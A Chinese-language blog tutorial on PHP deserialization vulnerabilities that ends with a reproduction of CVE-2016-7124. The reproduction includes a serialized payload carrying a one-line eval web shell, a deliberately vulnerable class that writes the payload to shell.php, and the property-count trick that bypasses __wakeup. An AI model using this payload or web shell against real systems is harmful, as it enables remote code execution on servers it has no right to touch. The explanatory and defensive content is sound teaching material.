简析反序列化漏洞

反序列化漏洞

一、漏洞原理

相关概念

什么是序列化与反序列化?

  • 序列化:把对象的状态信息转换为可以存储或传输的形式的过程,一般是将对象转换为字节流。在进行序列化时,对象的状态信息会被写入到临时或持久性存储区。(通俗点的说法:序列化即是把对象转换为流的过程,流可以写入存储区中,如硬盘等)

  • 反序列化:把序列化产生的流恢复成对象,是与序列化相反的过程

 

漏洞成因

反序列化漏洞的漏洞成因是基于序列化和反序列化的操作。

这里此以PHP语言为例,在进行反序列化时,若调用的unserialize()函数存在用户可控制的参数,而反序列化执行的过程中又会调用一些魔术方法,如果此时魔术方法内存在一些敏感操作例如eval()函数、***函数(且参数是通过反序列化产生的),那么用户就可以通过改变参数来控制执行敏感操作,这就是反序列化漏洞的成因。

 

常见魔术方法总结

魔术方法说明
_construct 是类的构造函数,每次创建新对象时都会调用这个方法
_destruct 是类的解析函数,解析函数会在某个对象的所有引用被删除或者当对象被显式销毁时执行,通常是脚本结束时执行
_toString 该方法用于一个类被当作字符串时应怎样回应,例如$echop $obj; 应该显示说明,此方法必须返回一个字符串,否则发出一条E_RECOVERABLE_ERROR级别的致命错误
_sleep 该方法在一个对象被序列化之前调用,会返回一个数组,其中包含着要被序列化的属性。它通常用于提交未提交的数据或者类似的清理操作。
_wakeup unserialize() 会检查是否存在一个 _wakeup() 方法,如果存在,反序列化成功后会自动的去调用这个方法,预先准备对象需要的资源,这个方法通常用于初始化操作,如重新建立数据库连接
_call 当对象调用了一个不可访问的方法时,_call() 就会被调用

 

二、漏洞危害

  • 远程代码执行(REC)

  • 权限提升

  • 任意文件读取

  • 拒绝服务攻击

 

三、漏洞出现场景

  • 缓存/持续性存储区

  • 数据库、缓存服务器、文件系统

  • 远程和进程间通信(RPC/IPC)

  • HTTP cookie、HTML表单参数、API身份验证令牌

  • 连线协议、Web服务、消息代理

 

四、检测方法

反序列化漏洞的检测方法主要还是通过代码审计,检索代码的魔术方法中是否含有敏感函数

 

五、防御

  • 完整性检查:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改

  • 在创建对象前强制执行类型约束

  • 尽量防止把用户的输入或者用户可控的参数直接放入反序列化操作中

 

六、漏洞复现

本次漏洞复现以反序列化漏洞cve_2016_7124()为例

漏洞成因:若在对象的魔术方法中存在wakeup()方法,那么之后再调用unserialize()方法进行反序列化之前则会先调用wakeup()方法,但是反序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过_wakeup()的执行

攻击步骤:

1、生成序列化字符串(利用脚本生成payload)

<?php
   classA{
   var $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>

 

2、使用序列化的字符串

"O:1:"A":1:{s:6:"target";s:4:"test";}" 
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名",s:属性值的长度:"属性值";}

改写上述序列化字符串,生成payload
"O:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}"

 

3、模拟反序列化漏洞,此处假设利用__wakeup方法过滤恶意代码

<?php
   class A{
   var $target = 'test';
   function __wakeup(){
       $this->target = "wakeup!";
  }
   function __destruct(){
       $fp = fopen("shell.php","w");
       fputs($fp,$this->target);
       fclose($fp);
  }
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php<br/>";
?>

 

访问上述文件,可以发现写入shell.php文件的内容被__wakeup()函数过滤

 

 

 

 

 

 

此时,若将payloadO:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}中“A”后面的1(对象属性个数)改为大于1的数(此处改为30),则会跳过__wakeup方法,直接将padload写入shell.php文件

 

 

 

 

成功将payload写入文件后,可利用蚁剑,成功获取shell,漏洞复现成功

 

 

posted @   煜见yk  阅读(1052)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示